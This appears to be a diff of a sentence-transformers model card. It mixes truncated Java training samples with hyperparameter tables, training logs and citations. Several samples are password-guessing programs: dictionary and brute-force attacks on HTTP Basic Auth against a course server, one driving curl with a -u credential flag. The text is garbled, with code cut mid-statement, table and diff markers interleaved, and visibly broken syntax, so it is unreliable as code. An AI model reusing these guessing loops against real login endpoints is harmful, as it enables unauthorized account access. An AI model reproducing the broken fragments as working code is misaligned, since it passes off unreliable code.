send(in, out, "MAIL FROM: ");
send(in, out, "RCPT : "+recipient);
send(in, out, "DATA");
send(out, "Subject: "+ subject);
send(out, "From: WatchDog.java");
send (out, "\n");

BufferedReader reader;
String line;
reader = new BufferedReader(new InputStreamReader(new FileInputStream()));
line = reader.readLine();
while (line != null){
send(out, line);
line = reader.readLine();
}
send...
| 0 | + | import java.util.*;
import java.net.*;
import java.io.*;

public class Dictionary
{
boolean connected = false;
int counter;

Vector words = new Vector();

Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}

public void startAttack()
{
while(counter {
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}


public void readWords()
{
String line;

try
{
BufferedReader buffer = new BufferedReader(
new FileReader("/usr/share/lib/dict/words"));

line = buffer.readLine();

while(line != null)
{

if(line.length() <= 3)
...
|






























import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;

public class BruteForce {

public static void main(String[] args) throws IOException {


int start , end, total;
start = System.currentTimeMillis();

String username = "";
String password = null;
String host = "http://sec-crack.cs.rmit.edu./SEC/2/";



String letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int lettersLen = letters.length();
int passwordLen=3;

int passwords=0;
int twoChar=0;

url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();



String authenticate = "";
String realm = null, domain = null, hostname = null;
header = null;


int responseCode;
String responseMsg;


int temp1=0;
int temp2=0;
int temp3=0;





for (int a=...
| 0 | + |



public class SMTPException extends Exception {

private String msg;

public SMTPException(String message) {
msg = message;
}


public String getMessage() {
return msg;
}
}
|

import java.net.*;
import java.io.*;

import java.*;
import java.util.*;

public class Dictionary {

private static String commandLine = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String password;
private String previous;
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;

public Dictionary() {

first();
finish = true;
previous = "";
Runtime run = Runtime.getRuntime();
startTime =new Date().getTime();
int i=0;
try {
try {
bf = new BufferedReader(new FileReader("words"));
}
catch(FileNotFoundException notFound) {
bf = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));
}

while((password = bf.readLine()) != null) {
if(password....
| 0 | +* Loss: [BatchAllTripletLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) + +### Training Hyperparameters +#### Non-Default Hyperparameters + +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `num_train_epochs`: 1 +- `fp16`: True +- `multi_dataset_batch_sampler`: round_robin + +#### All Hyperparameters +
Click to expand + +- `overwrite_output_dir`: False +- `do_predict`: False +- `eval_strategy`: no +- `prediction_loss_only`: True +- `per_device_train_batch_size`: 16 +- `per_device_eval_batch_size`: 16 +- `per_gpu_train_batch_size`: None +- `per_gpu_eval_batch_size`: None +- `gradient_accumulation_steps`: 1 +- `eval_accumulation_steps`: None +- `torch_empty_cache_steps`: None +- `learning_rate`: 5e-05 +- `weight_decay`: 0.0 +- `adam_beta1`: 0.9 +- `adam_beta2`: 0.999 +- `adam_epsilon`: 1e-08 +- `max_grad_norm`: 1 +- `num_train_epochs`: 1 +- `max_steps`: -1 +- `lr_scheduler_type`: linear +- `lr_scheduler_kwargs`: {} +- `warmup_ratio`: 0.0 +- `warmup_steps`: 0 +- `log_level`: passive +- `log_level_replica`: warning +- `log_on_each_node`: True +- `logging_nan_inf_filter`: True +- `save_safetensors`: True +- `save_on_each_node`: False +- `save_only_model`: False +- `restore_callback_states_from_checkpoint`: False +- `no_cuda`: False +- `use_cpu`: False +- `use_mps_device`: False +- `seed`: 42 +- `data_seed`: None +- `jit_mode_eval`: False +- `use_ipex`: False +- `bf16`: False +- `fp16`: True +- `fp16_opt_level`: O1 +- `half_precision_backend`: auto +- `bf16_full_eval`: False +- `fp16_full_eval`: False +- `tf32`: None +- `local_rank`: 0 +- `ddp_backend`: None +- `tpu_num_cores`: None +- `tpu_metrics_debug`: False +- `debug`: [] +- `dataloader_drop_last`: False +- `dataloader_num_workers`: 0 +- `dataloader_prefetch_factor`: None +- `past_index`: -1 +- `disable_tqdm`: False +- `remove_unused_columns`: True +- `label_names`: None +- `load_best_model_at_end`: False +- `ignore_data_skip`: False +- `fsdp`: [] +- `fsdp_min_num_params`: 0 +- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} +- `fsdp_transformer_layer_cls_to_wrap`: None +- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} +- `deepspeed`: None +- `label_smoothing_factor`: 0.0 +- `optim`: adamw_torch +- `optim_args`: None +- `adafactor`: False +- `group_by_length`: False +- `length_column_name`: length +- `ddp_find_unused_parameters`: None +- `ddp_bucket_cap_mb`: None +- `ddp_broadcast_buffers`: False +- `dataloader_pin_memory`: True +- `dataloader_persistent_workers`: False +- `skip_memory_metrics`: True +- `use_legacy_prediction_loop`: False +- `push_to_hub`: False +- `resume_from_checkpoint`: None +- `hub_model_id`: None +- `hub_strategy`: every_save +- `hub_private_repo`: None +- `hub_always_push`: False +- `gradient_checkpointing`: False +- `gradient_checkpointing_kwargs`: None +- `include_inputs_for_metrics`: False +- `include_for_metrics`: [] +- `eval_do_concat_batches`: True +- `fp16_backend`: auto +- `push_to_hub_model_id`: None +- `push_to_hub_organization`: None +- `mp_parameters`: +- `auto_find_batch_size`: False +- `full_determinism`: False +- `torchdynamo`: None +- `ray_scope`: last +- `ddp_timeout`: 1800 +- `torch_compile`: False +- `torch_compile_backend`: None +- `torch_compile_mode`: None +- `include_tokens_per_second`: False +- `include_num_input_tokens_seen`: False +- `neftune_noise_alpha`: None +- `optim_target_modules`: None +- `batch_eval_metrics`: False +- `eval_on_start`: False +- `use_liger_kernel`: False +- `eval_use_gather_object`: False +- `average_tokens_across_devices`: False +- `prompts`: None +- `batch_sampler`: batch_sampler +- `multi_dataset_batch_sampler`: round_robin + +
+ +### Training Logs +| Epoch | Step | Training Loss | +|:------:|:----:|:-------------:| +| 0.2393 | 500 | 0.2443 | +| 0.4787 | 1000 | 0.2228 | +| 0.7180 | 1500 | 0.2148 | +| 0.9574 | 2000 | 0.1666 | + + +### Framework Versions +- Python: 3.11.13 +- Sentence Transformers: 4.1.0 +- Transformers: 4.52.4 +- PyTorch: 2.6.0+cu124 +- Accelerate: 1.7.0 +- Datasets: 3.6.0 +- Tokenizers: 0.21.1 + +## Citation + +### BibTeX + +#### Sentence Transformers +```bibtex +@inproceedings{reimers-2019-sentence-bert, + title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", + author = "Reimers, Nils and Gurevych, Iryna", + booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", + month = "11", + year = "2019", + publisher = "Association for Computational Linguistics", + url = "https://arxiv.org/abs/1908.10084", +} +``` + +#### BatchAllTripletLoss +```bibtex +@misc{hermans2017defense, + title={In Defense of the Triplet Loss for Person Re-Identification}, + author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, + year={2017}, + eprint={1703.07737}, + archivePrefix={arXiv}, + primaryClass={cs.CV} +} +``` + + + + + + \ No newline at end of file